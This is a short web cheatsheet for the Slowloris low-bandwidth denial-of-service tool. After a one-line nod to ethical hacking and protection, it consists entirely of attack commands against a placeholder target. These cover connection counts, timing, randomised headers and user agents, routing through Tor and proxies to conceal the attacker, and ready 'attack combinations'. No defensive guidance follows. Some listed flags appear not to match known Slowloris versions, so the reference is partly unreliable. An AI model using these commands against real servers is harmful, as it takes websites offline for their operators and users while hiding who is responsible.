What is Slowloris?
Slowloris is a classic denial-of-service (DoS) attack tool that targets web servers using partial HTTP requests. This cheatsheet provides a quick, practical overview of how to use Slowloris, understand its impact, and protect against it in your ethical hacking and cybersecurity research.
Slowloris Cheatsheet
The Low Bandwidth DoS Tool Reference Guide
Basic Slowloris Usage
slowloris -dns target.com
slowloris -dns target.com -port 8080
slowloris -dns target.com -https
slowloris -ip 192.168.1.1
slowloris -dns target.com -v
slowloris -dns target.com -test
Connection Options
slowloris -dns target.com -num 500
slowloris -dns target.com -sockets 100
slowloris -dns target.com -rand
slowloris -dns target.com -header "User-Agent: Mozilla/5.0"
slowloris -dns target.com -header "User-Agent: Custom" -header "Accept: */*"
slowloris -dns target.com -timeout 15
Timing Options
slowloris -dns target.com -interval 5
slowloris -dns target.com -ctimeout 30
slowloris -dns target.com -reconn 10
slowloris -dns target.com -randtime
slowloris -dns target.com -duration 300
Proxy Options
slowloris -dns target.com -socks 127.0.0.1:9050
slowloris -dns target.com -http-proxy 192.168.1.100:8080
slowloris -dns target.com -http-proxy 192.168.1.100:8080 -proxy-auth user:pass
slowloris -dns target.com -tor
Advanced Options
slowloris -dns target.com -method POST
slowloris -dns target.com -path "/vulnerable/page"
slowloris -dns target.com -data "param1=value1"
slowloris -dns target.com -randagents
slowloris -dns target.com -follow
slowloris -dns target.com -ipv6
slowloris -dns target.com -log attack.log
Common Attack Combinations
slowloris -dns target.com -num 300 -sockets 100 -timeout 15
slowloris -dns target.com -interval 5 -rand -randtime -randagents
slowloris -dns target.com -https -num 200 -sockets 75 -timeout 20
slowloris -dns target.com -tor -randagents